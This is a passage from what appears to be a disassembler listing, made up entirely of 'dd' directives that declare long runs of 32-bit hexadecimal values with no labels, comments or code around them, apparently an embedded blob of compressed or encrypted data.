		dd 0CF19EA00h, 966CE58Ah, 0D8914D01h, 0BE1948C0h, 0C00EA85h
		dd 0DC397926h, 1A8458Ah, 0CB1012E1h, 6CEDD450h,	80E388F0h
		dd 82EECD78h, 62170BC9h, 0D4529D81h, 3F9FF488h,	0F8816EAAh
		dd 0FF3C8288h, 1A53D814h, 92CBB412h, 48301C84h,	4403Eh
		dd 2BACE24Eh, 7FF4BD01h, 432AB38h, 0B50DBB9Ah, 5843D8E4h
		dd 0D085A091h, 400894ABh, 0C861D540h, 193B1E4Ch, 83650094h
		dd 0D14A7C27h, 60804A77h, 5D166E04h, 73CE2F00h,	17E28363h
		dd 0B33F0120h, 86A25D4h, 4D182435h, 0A57C61C0h,	1D6FAD7h
		dd 1976A22Ch, 0C8148040h, 0E4055EFDh, 0F8220BD3h, 3F4890E3h
		dd 0DFD8224Eh, 11C70C44h, 0CCEB10DEh, 469101A4h, 6FE6F5A7h
		dd 49E87355h, 0D6BE0108h, 8B2586BAh, 5A705ADAh,	60DC12F8h
		dd 0D7491F78h, 0C7E78600h, 0FD5C80E0h, 0AE5D19CFh, 23718992h
		dd 0B9BD00B4h, 6219819Eh, 64A3BD1h, 6B0E33BFh, 12730B2Eh
		dd 1C20CC70h, 449BF100h, 857472AFh, 0C0889415h,	9790202Eh
		dd 0D9881900h, 42A04AB8h
		dd 0B6D0B211h, 609DC7BCh, 83120CE6h, 0E1129872h, 44B692A2h
		dd 0DBA56503h, 0ACE4A3D1h, 8CE6C0BCh, 100BD611h, 66264CEh
		dd 937AC509h, 7461277Ah, 0F0143098h, 77EE6B03h,	9B49ACDFh
		dd 0AEC288D6h, 1C6772D0h, 30799014h, 0BAE27028h, 48965E3Bh
		dd 0BFD70045h, 18ECF739h, 264900B6h, 8160AA94h,	841DE813h
		dd 0F040EAF9h, 0EC476210h, 2D01D70h, 36F5C358h,	6000DB08h
		dd 0E59AAEF0h, 3CDD447Dh, 288748CCh, 0ECB3E4E1h, 0F9607740h
		dd 4B77008h, 1DAA007Bh,	0D0718947h, 61300834h, 0EF1548CFh
		dd 1094012Fh, 547F0C13h, 0B0E8C7B5h, 353887B4h,	18A40CD7h
		dd 2C79CCh, 93EDE8FCh, 6816D9BFh, 0C3035301h, 901D22AFh
		dd 0A101609Eh, 84DB770Ah, 0CC988F80h, 0EE40F137h, 0A0A40694h
		dd 29A12785h, 0F1C844h,	8002D15Dh, 678F4D8Ch, 0D01880EDh
		dd 7B1E7EBCh, 6F53313Fh, 1050F168h, 60FF6710h, 519128EFh
		dd 1C0034D5h, 32D43F90h, 0D8EE447h, 0C7779DE3h,	5860FC69h
		dd 0FA036098h, 3440AB1Dh, 0DE67E1E1h, 8AEB4980h, 0C35B368Eh
		dd 0A693C800h, 62CEFAB5h, 5C046628h, 7C0A8815h,	649370E0h
		dd 22DC7860h, 218F0EFh,	13F5ABA5h, 0A4A0DA07h, 66AD8573h
		dd 8EC3050Bh, 185C0C6Ch, 7120C668h, 707ED94Ch, 8C8061DFh
		dd 0AE4A05FDh, 0EF97286Eh, 387349F0h, 67115D32h, 3C27823h
		dd 7B0A1141h, 0EDD0F425h, 0C002CF09h, 82277D88h, 4D49107h
		dd 8384F4h, 0DEEE360Bh,	42185CC4h, 729D7A00h, 0E7EC9949h
		dd 7BF0A18Fh, 0F93C91B8h, 1259D160h, 11038F7Dh,	0CE9033EFh
		dd 0D0813C4Fh, 0F6577209h, 2249482Fh, 81341420h, 1C0C49CEh
		dd 21F84E72h, 31F202EFh, 6A8DC40Fh, 714B081h, 876980E7h
		dd 0BCFDF856h, 9211184Dh, 7490C043h, 9881D136h,	9CA9D128h
		dd 0E8C6557Ch, 936FE3F0h, 8BE44050h, 75EAFAC6h,	4398BF71h
		dd 4A2EAC19h, 9D10C229h, 0D0003A7Eh, 1AB8C5CEh,	0CFEA0F1h
		dd 0E13698D9h, 80FBABE0h, 0A325BB71h, 0F8BA60A1h, 0B09E00AAh
		dd 3369E090h, 8F004244h, 7021CA97h, 5F6B677h, 23BE5A96h
		dd 3EC5208h, 843B4B34h,	0D9071118h, 0C4C119h, 0DA2BBA97h
		dd 0C358B42Ch, 79789050h, 0DF5A7188h, 151709E9h, 864A9400h
		dd 0E43774D3h, 26C9CE73h, 1520187Ch, 0DC124DCDh, 606F010Ah
		dd 0BB14F94h, 80D7A738h, 7444EEECh, 0BBD53F27h,	40D475A4h
		dd 16A97334h, 718FFF10h, 0B95EE719h, 0FC08945Ch, 0F0AB29C4h
		dd 0B100E31Fh, 471502CBh, 29DC07B0h, 2A9CA5A2h,	0D9C44618h
		dd 0BEE7B405h, 0A4C058F5h, 0B63ACDh, 0C3A86A1Ah, 0FE678D63h
		dd 0A0983CE8h, 8E33F039h, 60CB5B90h, 0D0534A01h, 6E440C5Dh
		dd 71E0108Eh, 13E54E10h, 0C91A6718h, 0FF000DB4h, 4C321C88h
		dd 7BEBE59Fh, 0D16D2882h, 0C149194h, 7C96BABh, 1EE45Ch
		dd 0E2479C84h, 2488F1E8h, 8E3C4026h, 7093DAEDh,	8758E814h
		dd 63698E04h, 900FB61Ch, 0A5685A0h, 3300E359h, 4C9FDEFDh
		dd 90C716F9h, 0F45D49B0h, 5250F703h, 0C9B91E3Dh, 7F9C202Ah
		dd 0D09C98D0h, 1D722C0h, 2839910h, 517BED46h, 0F0A034D0h
		dd 72159BEAh, 484F559h,	0FE2FF1D1h, 0FA952497h,	80489027h
		dd 0CE4256DCh, 92016269h, 7B35BB9Fh, 0FED0506Eh, 0F80F49C0h
		dd 0AF728A02h, 3887B50Ch, 59858373h, 10F658B9h,	0C9809E26h
		dd 6422B020h, 90226681h, 56DE85B4h, 0FF0B442h, 1E844CFh
		dd 0EA972634h, 93FF098Ch, 386366B1h, 8E5029E1h,	49D899D4h
		dd 3DDFC4E3h, 0BC2B8D04h, 70C870A4h, 0C0495967h, 0D821C700h
		dd 35DD1C81h, 8001622Ah, 0EEB05601h, 4A3A885Fh,	6BED3D8h
		dd 0D9A20CF6h, 4E4C899Ah, 6708D9E4h, 1D34CC4Ch,	2C86EFF8h
		dd 0CBF1429Ch, 564AD490h, 2248CF1Fh, 96AA9A03h,	34290B0Bh
		dd 30907883h, 0F00BBE0h, 0D2765108h, 0D7955h, 0EAA832E4h
		dd 8E40F920h, 7E42954h,	6F916260h, 0A186BBh, 7DC083B8h
		dd 409195D7h, 45EEC613h, 0C844FD12h, 8C94ECDh, 0C0CC1C60h
		dd 5D0FE5A1h, 0AAE40552h, 53764400h, 49CD7DF9h,	688F2CB9h
		dd 40FF4544h, 74B7A6C4h, 0DA00E5B6h, 1A63FB5Ah,	515A048h
		dd 596412AAh, 0E4C09223h, 22E89120h, 5F5405CDh,	0C0A9C771h
		dd 0D8E37FC4h, 2CD90A20h, 15F44D10h, 5818B869h,	0C9D171CBh
		dd 7CA6E974h, 2F00E6E6h, 6A4342E2h, 0C10177h, 71A2950h
		dd 7D249652h, 93AC1458h, 8CD1C408h, 3994667h, 0D704E907h
		dd 6EF3A211h, 98D1D496h, 0E048E4EDh, 323F054Fh,	9033DBC1h
		dd 0B0EDD20Ch, 0FC02372Eh, 0C6D8583Ch, 0A15407h, 437AF5FFh
		dd 2345C6F3h, 9DD75900h, 5D446B01h, 72530932h, 20254EFBh
		dd 78898073h, 57E559B5h, 540D9EA0h, 0A0E007F9h,	0E775607Bh
		dd 5F722211h, 44959040h, 104190EEh, 22F9F442h, 9CCE9AD1h
		dd 116DAB30h, 6C859Dh, 0D3733D4Eh, 5CF3D87Eh, 0E7E1F9C0h
		dd 0F94FD6h, 0BE2337BBh, 79CE80A5h, 3050E569h, 906668FCh
		dd 0B446009Eh, 64D6165Bh, 962499E7h, 9000404Bh,	0A9F6B8F1h
		dd 0AB322620h, 21F0C010h, 0F0980DEEh, 49CCE409h, 0B730A54Dh
		dd 2664DC11h, 5550888Bh, 500A84E5h, 0C818ED53h,	8E1701BCh
		dd 7FD1FE21h, 0BCDCEC44h, 0BE3A1E18h, 41DD1D6Dh, 3EB0BC28h
		dd 1AF022EFh, 79CA77h, 0A85A5993h, 0C0E058CBh, 0CFE42293h
		dd 8AF04A27h, 3F98212Ah, 5500408Fh, 5F56F230h, 7C68632Bh
		dd 3F035831h, 0F9F302DCh, 9825A79Ch, 11011429h,	92831B8Ah
		dd 0F2E99FF7h, 0E546E0ACh, 18D31E99h, 1D5DDAh, 10483C55h
		dd 0E3CF6B0h, 7951028Fh, 0B070266Ch, 1BFD5F8h, 0B836773Ah
		dd 0C9290456h, 76187415h, 0E4AB12E1h, 54EF013Ch, 0D48928E5h
		dd 0FF8191ADh, 1EE44400h, 188C9553h, 73A5C207h,	1A203902h
		dd 0D7F4C35Eh, 72D42328h, 5F589FD0h, 0C8247A7Ch, 89847C9Ah
		dd 50C22B3Bh, 0C9B72503h, 5CE5DE38h, 99E05F80h,	4F373E6h
		dd 1341089Fh, 616CD0C9h, 940FB27Dh, 96EA2BADh, 0C736D060h
		dd 0D4640499h, 9075E3A2h, 0B0E6AA98h, 683072F4h, 0B20E811Bh
		dd 38A63993h, 0E8D74B0Fh, 9CE809F7h, 3B345C20h,	1177D9EAh
		dd 0F9D10702h, 0E2EF0AA7h, 2EFC44A5h, 4AA44FCDh, 446F1154h
		dd 9D88D3B0h, 863019F7h, 627B202Fh, 69830084h, 0B572353Dh
		dd 0E0F105BDh, 0C9DCB1AEh, 9BA84074h, 8B1FC8Ch,	0EF410B40h
		dd 639C0098h, 0A73BBA70h, 0EB02DA42h, 19B5F7EDh, 487621E8h
		dd 5C2510ECh, 94589CEFh, 2880840Dh, 0D28BFF60h,	3C01BFEEh
		dd 9F3A36A1h, 31A6FDA9h, 0A8A04E10h, 25A1D1E1h,	0B0E0B854h
		dd 20788025h, 6FF43DCCh, 54A003C9h, 0C0679079h,	0AD0B5A88h
		dd 9E80F894h, 5FB76EEFh, 5CF97049h, 0CD8378F2h,	994C0E4Ah
		dd 307824B4h, 0BB307BCh, 6630A595h, 0E4E7CAh, 0F8B136EBh
		dd 6A5C0E2Eh, 2DEAF701h, 4D1C9746h, 66F801DDh, 77F51976h
		dd 0C553684Bh, 109B07CFh, 1F40C14h, 0AD9252BCh,	3CE7C8F8h
		dd 765BC100h, 0A9AE99CAh, 4773408Ch, 0F603138Eh, 749001FDh
		dd 0EF34D9EAh, 61DAABC4h, 77FC6841h, 17B451E2h,	0D022ACh
		dd 0DAC957A0h, 0F9412Fh, 3EE295C5h, 92536E8Ah, 297A1636h
		dd 0AC344A8h, 1E4D2A01h, 72189EB3h, 0B28A2181h,	0D55C1C82h
		dd 0F34AC497h, 73AA0100h, 0B7499DE8h, 0C3E4E581h, 0C41613C0h
		dd 2F4030E6h, 0F6009E9Fh, 4AF780DAh, 19EFC789h,	81C3C8D1h
		dd 2CC2207h, 357AF73Ch,	4CF1C080h, 56D3038Bh, 0F437419Fh
		dd 0BC8010DAh, 1E9EF1Dh
		dd 60577126h, 0E593D142h, 5E1F80E4h, 0EFC18F63h, 5D984403h
		dd 978BBC0h, 0DCDFB379h, 2DF6EC40h, 33F2E80Ch, 94D1C011h
		dd 0F9F84098h, 90134C3h, 8F415006h, 4296211h, 0B5F68000h
		dd 4769852Fh, 0A08EC42Ch, 0EF95ED40h, 0E1E1612Bh, 0C10FF7E3h
		dd 425464D5h, 0BD939000h, 0E753DD95h, 0CFFB018Eh, 0D1A0017Bh
		dd 506C2D8Dh, 0D0A8CE50h, 0D700D280h, 0C2A5507h, 9037A449h
		dd 238204ECh, 0C875CD97h, 6D057C7Ch, 0B4C8C2B0h, 0F2718C44h
		dd 48933CA4h, 0E0D4049Bh, 20450D3Eh, 0C7389AA4h, 0AE608006h
		dd 8D42F77Ah, 44E84884h, 44210727h, 0C0938266h,	0D0B968E1h
		dd 7F0F5400h, 15C3360h,	0A0F04172h, 3B5B9E6Fh, 94E3D0B5h
		dd 4ACE68B0h, 1A9C5D43h, 0AC5BA8ECh, 5D01B528h,	74F97897h
		dd 0B3433CA8h, 8F84A8A4h, 0E64412CEh, 0C8449DEFh, 8C004075h
		dd 2BC417D8h, 20BD325h,	22EA0FF1h, 0E45167EEh, 315CD800h
		dd 3F68D9Bh, 0F754C508h, 8100DC86h, 1151ED83h, 3EBCAFh
		dd 0FC5CCA32h, 0FD2686B5h, 986C2128h, 22A05A00h, 33D93649h
		dd 17E51487h, 7184FC2Dh, 0C85CC958h, 0ECA8D2BAh, 280C8AF5h
		dd 18C6521Dh, 0FB80AB6Ch, 947AB0C2h, 0B9FE0116h, 53640FD8h
		dd 8BC4F598h, 0A0EE6748h, 6FC11984h, 6DA100A2h,	33EA44E8h
		dd 0BD489D72h, 89C7C374h, 0D027A32Fh, 8F153Ch, 0DCD7665Eh
		dd 6DBAF954h, 0FC6B9C88h, 4AE80359h, 7DDDF03Fh,	30E3D6C1h
		dd 0F0EFB670h, 78F486F9h, 9A00C4B1h, 3D2BDF69h,	0D2FD0267h
		dd 52538DAEh, 4F102C48h, 86E78913h, 0AB7E8420h,	5C500CBh
		dd 0DFD8A731h, 4D00982Fh, 1075CFF4h, 945401B8h,	50CD8998h
		dd 69806818h, 0EB8EB904h, 1C90F46Fh, 0CF71510h,	6D3F4B24h
		dd 0E04013D0h, 0D9DF60ABh, 732F96CDh, 9E652B00h, 3D465011h
		dd 889800BBh, 0FEEAD2F1h, 0CF905617h, 7042BC9Ah, 485B4900h
		dd 8A187AB5h, 0F6501004h, 8481E7B3h, 0A8224D71h, 0C196267Fh
		dd 3CC81C44h, 0A2C0E85Dh, 88A07693h, 1D9B8C00h,	0B964E31Eh
		dd 97100F20h, 31E3D499h, 402172D1h, 5A364070h, 0C300A580h
		dd 3B0A5C26h, 0E5653AAh, 0E35222BDh, 0E4107848h, 0B0A17D22h
		dd 3DC4324Dh, 38AA422h,	1CAB7302h, 0C3E484C4h, 351F2340h
		dd 9409EC9Ah, 0E86254B9h, 241D64h, 4F086FEh, 6E72DB60h
		dd 5F9B5200h, 0D7D8DABEh, 0EB77012Dh, 0D15D01B0h, 0A4902881h
		dd 0F8DC0BBh, 0F3EC8E23h, 0AF5AD407h, 0F00AA5B9h, 47E70140h
		dd 47489ECFh, 0AD1B121Eh, 0DA005044h, 0DB9CB3D2h, 0BB9550Dh
		dd 9D2EB4F3h, 0B22F0C83h, 8A178005h, 1CB46039h,	84C648D1h
		dd 386C718Bh, 21660819h, 0D0298738h, 5FFA7E00h,	8FD5EAAFh
		dd 264098B6h, 3083332Fh, 2786C9A8h, 0E20080B7h,	0F152836h
		dd 0E810F9C4h, 56AC4F6Bh, 0D44D0050h, 73356164h, 0AE57C63Ch
		dd 223F3840h, 4AD03E67h, 0EB0100F2h, 450F6DDEh,	2107E790h
		dd 384FD15Ah, 186BEDF1h, 0B466E070h, 74144BDCh,	2C433B20h
		dd 14628086h, 7101107Fh, 0E7238F9Dh, 934310Bh, 704547D0h
		dd 3969BCECh, 27240898h, 4600E843h, 0C1EDAC60h,	2F7DFBh
		dd 793F0E6h, 47C52954h,	8AEF0802h, 51C832EDh, 77500F0h
		dd 1CA6FC9Eh, 20BB7625h, 0D9DACD4Ch, 5F7B13E0h,	0FA7430CAh
		dd 0C200D148h, 8721AE73h, 0C89AFF8h, 0E6F1557Ch, 0B04CC479h
		dd 34F15F4h, 0A7047898h, 0EC48B65Ch, 3A00E4A2h,	265159AAh
		dd 91026692h, 0F5E5DDCh, 20949412h, 8E842AFh, 6C465926h
		dd 0F3003345h, 3AA46012h, 2DBF0FD4h, 0BE85D1D9h, 88425C2h
		dd 28A881B0h, 8E16C886h, 4832CDBAh, 25B490ABh, 17F6E7h
		dd 4DF38722h, 0C9DA42D6h, 9BC4A700h, 187CEC63h,	8C4A0202h
		dd 6471B7CFh, 0B20010D1h, 1506F39h, 0D0A52F53h,	0CDAC5030h
		dd 55BCF500h, 3E5CF6E9h, 374C0069h, 87D57BD4h, 3869AC17h
		dd 6D188189h, 0F0290676h, 0ACE4AA03h, 8FD8C1A4h, 9A000351h
		dd 0C793081Dh, 58074E74h, 0DA22AC11h, 1BFA8538h, 0D8CEB076h
		dd 1E6E101Ah, 5450CC16h, 28C17CF0h, 707FF5A1h, 0A8798D11h
		dd 376A191Dh, 1E527180h, 90357396h, 495B4E6Ch, 1CC86704h
		dd 73007922h, 4F3C8AACh, 371AABDh, 9BCA9023h, 8EB8691Ah
		dd 8626435Ah, 7338FCD4h, 77D95664h, 3E2E8A4h, 89790176h
		dd 7CA8E542h, 8AEAA266h, 0F4129509h, 0D79600EDh, 14F7F4Dh
		dd 9001F360h, 2282D121h, 0F0A2241Ch, 0A088C717h, 935B845Bh
		dd 7615E4B8h, 0B703FC77h, 0C9D187BDh, 0E30631DEh, 8C488AF0h
		dd 1F9016Ch, 93422C0h, 0D2F470FFh, 0D7F70084h, 67FE4F2Fh
		dd 5C09FA43h, 0C86F0221h, 9C4DCDF4h, 0DBD426Ch,	41C9F0E1h
		dd 15CE5F4Ch, 908EC0C8h, 1921014Fh, 0E630AAE7h,	806420C3h
		dd 789010E9h, 4C8788C8h, 0E16CB000h, 0D12069A8h, 20E0458Eh
		dd 8A4C9588h, 986C2FB4h, 2CF7948h, 0B6B19005h, 0E0D97234h
		dd 44404E09h, 0BDC80EC8h, 0E24018B1h, 62F7653Ch, 7C80ACBCh
		dd 1463C8B3h, 4AE900ACh, 22763CDFh, 0F003473h, 90703517h
		dd 6B74298h, 8F594E8Dh,	3EFA5979h, 2506943Ch, 50680278h
		dd 0ED012217h, 77520C52h, 0D82A0090h, 2BB0C3C7h, 0E2711604h
		dd 8CB888C2h, 9E866200h, 0A6FA0293h, 357C00FFh,	5CC7E304h
		dd 5F042FEBh, 79CC4992h, 340030ADh, 605A2437h, 754ACDD2h
		dd 26E47488h, 42345E58h, 0A8AF71BAh, 804408C0h,	1900345Fh
		dd 13D5AEDBh, 0F56D25h,	0F7813522h, 0DE215160h,	85C7005h
		dd 0B017029Dh, 0C117E423h, 7BE26F38h, 73803AA8h, 94D3A2BBh
		dd 0BF002530h, 0B667C812h, 14DAE92h, 0B0A57CD1h, 23DF94C2h
		dd 2A500940h, 64381008h, 0AB070397h, 8F82A3A6h,	0C5AC2D90h
		dd 3CFB8B88h, 0F78F7553h, 3580A8E0h, 8F075208h,	0E30018B0h
		dd 6E8DC30Fh, 58171D6Ah, 0BC00EC7Ah, 0BB5014EAh, 4709FE54h
		dd 0C0DCDE8Eh, 0AE1F770h, 42CCF6CFh, 0E29440A0h, 0AF24EF6Bh
		dd 0B180A08Fh, 46544A06h, 80D1F94Dh, 45804828h,	0D231E9E5h
		dd 2D300E09h, 88C467h, 0D574FD6Ah, 5356C924h, 0BAF55403h
		dd 907F4101h, 24118134h, 582CBC45h, 10807D55h, 0ED022525h
		dd 680A54A2h, 0A801605Ah, 18865474h, 0EAC0E782h, 763F0BC7h
		dd 0C4825A07h, 6056A925h, 71176C11h, 0D13C214Eh, 0B42295h
		dd 173763BAh, 9E3AE6C4h, 9E8300DCh, 0BCA68260h,	0B05F4537h
		dd 24044C9h, 0EBB82D17h, 0ACD857F4h, 8D990E60h,	2712B4B1h
		dd 0D0130234h, 0AE2F82F0h, 78685714h, 0A90B76A8h, 10BAEA2Bh
		dd 13CF50DCh, 240F4D5h,	55611CB4h, 0B45A6042h, 4AA7B07h
		dd 0EA30E22Bh, 7584A4h,	6876B0E1h, 0CE082521h, 3670F081h
		dd 0F68F001Fh, 0A08D1B19h, 965BFEACh, 0E43F4FF8h, 329AD117h
		dd 9931F2D4h, 488750F1h, 0D1C5EF10h, 0DAC95D05h, 4901D850h
		dd 8E7554A1h, 0E3FCED10h, 0BF212582h, 9E90D420h, 79071A4Fh
		dd 0FEF9D1CDh, 4C09A01Ch, 0EF227008h, 7FF0F879h, 80887949h
		dd 0EA108056h, 0F0E1002Bh, 0F9FC13F8h, 104B0CFh, 0D6FD93C2h
		dd 0EF94A8C1h, 0C05CFC10h, 0E040BB4Eh, 7D0FDEAAh, 67AB034Eh
		dd 5CA54966h, 94E83FD8h, 0E7C0804h, 70818C97h, 0B2D0A14Dh
		dd 0F17A95h, 72D1C991h,	903106A8h, 93531477h, 25A2394h
		dd 18676BEEh, 16DFFCA0h, 9A07FE56h, 990652Eh, 0CEAAB5C0h
		dd 1A5D0222h, 4CEA2C5Eh, 3C607C42h, 6029940h, 0FE3AC660h
		dd 6C04468h, 787A6FD6h,	1811E85Dh, 0AE0FDEACh, 0B74BE28Dh
		dd 7F68C100h, 7FAFAFFh
		dd 0D37B0F01h, 37502A3Dh, 0C676BC42h, 0C618275Ch, 9805B00Bh
		dd 226CB21Bh, 0A6B88071h, 11CD6018h, 565A4A3Ah,	42C921Ch
		dd 0C78BFE00h, 917C125h, 98D05EB2h, 0C4E4D02Bh,	0CDE78B03h
		dd 0E82C1F04h, 79316115h, 68C20578h, 20BAEF22h,	244D35A4h
		dd 0D9019773h, 0CD9BB159h, 7B100242h, 8E39F180h, 1E2A0BE5h
		dd 7E008201h, 5E84C2B1h, 3B1B4030h, 44013607h, 0E463E6C8h
		dd 0D3F02308h, 0C62E2518h, 0C3F56C91h, 0FE1BE80h, 4013B893h
		dd 1817D420h, 93A0C04Fh, 0C46572A7h, 8088D0BEh,	667189D2h
		dd 0A04D7468h, 119D69FAh, 4C8508Ch, 0B28C00DFh,	0FC88780Fh
		dd 209548CCh, 0FD9F3458h, 0D25B014Fh, 8E795683h, 0C4443007h
		dd 0C021BD8Bh, 98DBF982h, 0E7948Ah, 78FB0239h, 7A29369Ch
		dd 8C73A826h, 8FE4EC08h, 0F81451CDh, 4F9832D2h,	0F3BB6A60h
		dd 3F6024B4h, 2E2FBDCEh, 912094E2h, 8CEA0FF5h, 23BE00FFh
		dd 2FC702EEh, 0D4915401h, 0B149E812h, 7B19DAB0h, 0D0396260h
		dd 715AED8h, 0D274938Eh, 0A75130E8h, 2C05AC58h,	0A912035Fh
		dd 2608CCh, 0BEAB63B3h,	0CF6842AFh, 1182B512h, 481D3CB2h
		dd 4308C036h, 0EC9388BAh, 0C4006DB8h, 2DAD454Fh, 9816F78Eh
		dd 0A0F04830h, 0B739FD32h, 3442C4D2h, 1702F121h, 0C487088Eh
		dd 0AECD0060h, 90A2824h, 0DD24F6B2h, 912F38D7h,	0F708825Ch
		dd 24665C2Fh, 5C84863Ch, 0C98F057h, 0C0E7044Fh,	90290982h
		dd 15326460h, 0CDE11C9Ah, 0EFA853E6h, 608C7DF1h, 564B0179h
		dd 21F4D0C9h, 0C43D0CEEh, 9059DE94h, 5A0518FAh,	0AC32D6EAh
		dd 0F3C0381Fh, 0FE34AD53h, 0F0690050h, 6041490Fh, 23049C93h
		dd 8AEF3DE7h, 60805885h, 12506890h, 30CCF0B5h, 0B1187B1Ch
		dd 3105940h, 0FF08AD4Dh, 5D806367h, 0E712B821h,	30046BEAh
		dd 0C8819C4Fh, 646C5CCDh, 0B4A85AC7h, 8310BCF1h, 0C46C82C4h
		dd 8B80A0A9h, 0A44C3FAEh, 9D864E16h, 707840C8h,	29A6008Ah
		dd 0EA5502FCh, 0D51CCBEFh, 0E8A423A2h, 0B1B91187h, 3CB29B84h
		dd 4198EB07h, 0FCC9C0F6h, 5400B011h, 0D0B87DDCh, 9654721h
		dd 18BE045Eh, 0F05C5101h, 78AC48ABh, 9CD64601h,	7CFF637Eh
		dd 1851FD8h, 8C4E0DC9h,	2C878480h, 26E48094h, 6841BEh
		dd 0B5A6B76Ah, 0AB796C59h, 23BA80A0h, 86A8859Dh, 80ACFC14h
		dd 0FB8B750h, 40BB4B82h, 3AE3FDD8h, 4400AA28h, 72C0D8A9h
		dd 57D5636h, 2EE96ACEh,	38AC01CBh, 70904173h, 51C0F9BCh
		dd 7136A959h, 823D0005h, 0ED7D3E10h, 961D176Bh,	0DA1F6714h
		dd 9CC858D2h, 7C119FD2h, 0EE0AF427h, 34108A07h,	357032EAh
		dd 5E8661h, 0D61D2183h,	3A0FBD1Eh, 60F9020Bh, 7514CCCFh
		dd 0D35C00B9h, 0DAC42538h, 47040D6Fh, 8540293Bh, 9B8038BCh
		dd 0EB88A267h, 7E93F500h, 228FE801h, 41B90733h,	0C28A1E5Bh
		dd 0B866D068h, 0BF8EF44h, 4E8EB976h, 0C0284C2h,	60714C71h
		dd 0D7D3C141h, 95C00031h, 693E0EDFh, 63248D81h,	0A0C8B8D8h
		dd 179E7284h, 8F8E34h, 58F6EA3Ch, 7648775Eh, 0EDAF00F0h
		dd 0FA01C8FCh, 0CD80A848h, 50BC9C79h, 31006373h, 8C4C851Ch
		dd 0B34657h, 0CC8F9316h, 896DD9B2h, 99C8D114h, 0C128036Ch
		dd 0A1B5301h, 0F3171059h, 206217E4h, 91A89B28h,	9513A300h
		dd 8BF54751h, 9361D7Ch,	9A194343h, 0E00E1BE7h, 6E93CC9Bh
		dd 0F9E898A1h, 343895D9h, 0A400D4F4h, 84F68D19h, 1D186DDDh
		dd 9B9F28Fh, 78885971h,	86FC50C0h, 0F41F1E5Ah, 18C5219Fh
		dd 9CC1D7E4h, 71314C50h, 44775423h, 4D2971D6h, 111D0FCh
		dd 79CA6C00h, 0C0FE60ACh, 0E2280700h, 0C4D9DEC2h, 7D7501C8h
		dd 4544CC18h, 0FA5074D4h, 68AC70B1h, 693B8669h,	73542E58h
		dd 0C41083C8h, 0B3A8B8F1h, 9DEC8EDEh, 10C0AD48h, 17050F15h
		dd 1F91FD95h, 0C7251C4h, 28B59DEFh, 800E52D8h, 5918224Ah
		dd 9A08C819h, 0F5E938C6h, 99A777B0h, 0D99E8E80h, 8041FD47h
		dd 0B0A08561h, 9DF0720Bh, 44370401h, 4C78F8BDh,	6787F8F9h
		dd 7FF5C118h, 866C9D1h,	4CEA7011h, 4FC6A8E8h, 3165497Dh
		dd 5CE27B79h, 483A02Fh,	7CF013D2h, 0C9073240h, 0A1B38A3Ah
		dd 8CEFD0A0h, 949095DAh, 635C84D4h, 0C57D0067h,	0A49F875Eh
		dd 0E02C078Fh, 0C515F0A7h, 0F7588807h, 0AAA0DA00h, 0FD93E4BDh
		dd 781A95A7h, 0AD0E30C6h, 34736E0h, 22D34A4Fh, 60B412B0h
		dd 6AF24540h, 4EC302A0h, 2BBA9502h, 80FC0641h, 52EFF751h
		dd 5F64722Ch, 0C5E82286h, 26F02Ch, 68A20FC6h, 52122191h
		dd 0C4AE7F00h, 0EB1E39ECh, 2230971h, 1C68D6F2h,	0F28B788Bh
		dd 0A0E8515Fh, 4BF270E0h, 300889FAh, 103C08A8h,	529180E1h
		dd 6E4101ACh, 0EC8654EFh, 205C9283h, 0A8B0E0E2h, 0E6844E79h
		dd 0EF4A017Eh, 0F2220A82h, 0E273F9D7h, 0A8ED38A7h, 714ECD89h
		dd 19F18494h, 0E8F285h,	9C7C2318h, 538DB2Eh, 7D4A06D4h
		dd 8078D16Fh, 46641271h, 18D42E8h, 0D8170FE3h, 64735D08h
		dd 9280333Fh, 0EE5FA1CDh, 815F9EEAh, 59DB5420h,	288D1CA4h
		dd 0AF99295h, 91585448h, 3588075h, 0F9CCFCB1h, 8F1ED823h
		dd 0FD2F0068h, 0FFC7D15Eh, 0B4C2B0AAh, 3341340Eh, 30EF6990h
		dd 5C7CA9BCh, 210E9C9Ch, 94BCA03Eh, 2CEA4F16h, 404818A3h
		dd 0C0F4B072h, 0AB01BE73h, 9A0CD048h, 0A8307461h, 0EB53011Dh
		dd 7658F719h, 868EEh, 0DF1CB78Ah, 16109134h, 0EF6FD0EAh
		dd 0EB31CC04h, 0F208C0FCh, 0C88E0381h, 0C48E90DEh, 0EC491091h
		dd 0FD4B7D00h, 0B4050AFh, 0ABF64E02h, 0DB01F4D9h, 0C8A4125Ch
		dd 0B70083B0h, 0C529D113h, 65F9ECh, 0EF6D939Dh,	90703495h
		dd 0C39A4A07h, 0EE8218E4h, 0F06044F1h, 40C8133Ch, 0F78088C4h
		dd 81D10704h, 64F96F93h, 0D8B96580h, 49009635h,	0E488A9A1h
		dd 735BD4FBh, 0FE751F10h, 8646420Dh, 2CD41511h,	7F1AE0CEh
		dd 7425B5A1h, 7A05006Fh, 418A1DB3h, 0A043DC6h, 9288F181h
		dd 0F6678480h, 8C100F89h, 0E93908D7h, 966EF168h, 0C490ABA9h
		dd 8FFF5Dh, 6DF787C0h, 8960BADAh, 0D9A9D0Bh, 0CF08A406h
		dd 0FC118C22h, 3C85D062h, 5500C862h, 0DCC1BA00h, 0DE7ACE0Ch
		dd 0F4F3042Ah, 821D0DCDh, 0AB24F1D0h, 1F87B0C8h, 0C0055CBCh
		dd 75F7B594h, 2A0ADD12h, 880A5B72h, 0EF4400A8h,	0B5828F8h
		dd 0C44E22ECh, 119AD127h, 43095710h, 41220978h,	0CE903EDDh
		dd 2200596Fh, 8CEA87EEh, 0F5FF0800h, 3F10099Eh,	600EF823h
		dd 0F0250832h, 0E44CA19Ah, 24560850h, 26E511E9h, 81122410h
		dd 6CBA640Ah, 0E0C54700h, 2E83725h, 9EFBFA2Ch, 0E4C0E768h
		dd 3E013521h, 97C06E36h, 0E869C80Fh, 0F2FFD280h, 1CECF9A2h
		dd 836D6C00h, 9AC53EB8h, 62F71667h, 53D021D8h, 0F14408CBh
		dd 88EBC517h, 0ACB80658h, 0E85CF2F6h, 9C0D8808h, 4CCA408Bh
		dd 0A726C8B9h, 0EC0A5202h, 896D2F50h, 0B04C49D8h, 6EAF861h
		dd 677E598Bh, 0C6198200h, 10EEE27Bh, 0B821FD50h, 2260206Eh
		dd 0A0309161h, 2204087h, 0CFF52F54h, 870D4C30h,	83EB4Ch
		dd 7968ADC9h, 0C4D90752h, 0AD4ACD29h, 193417CCh, 36F14820h
		dd 41EC00B7h, 0CDA93918h, 8F0152E1h, 0FCBACA17h, 61A70A24h
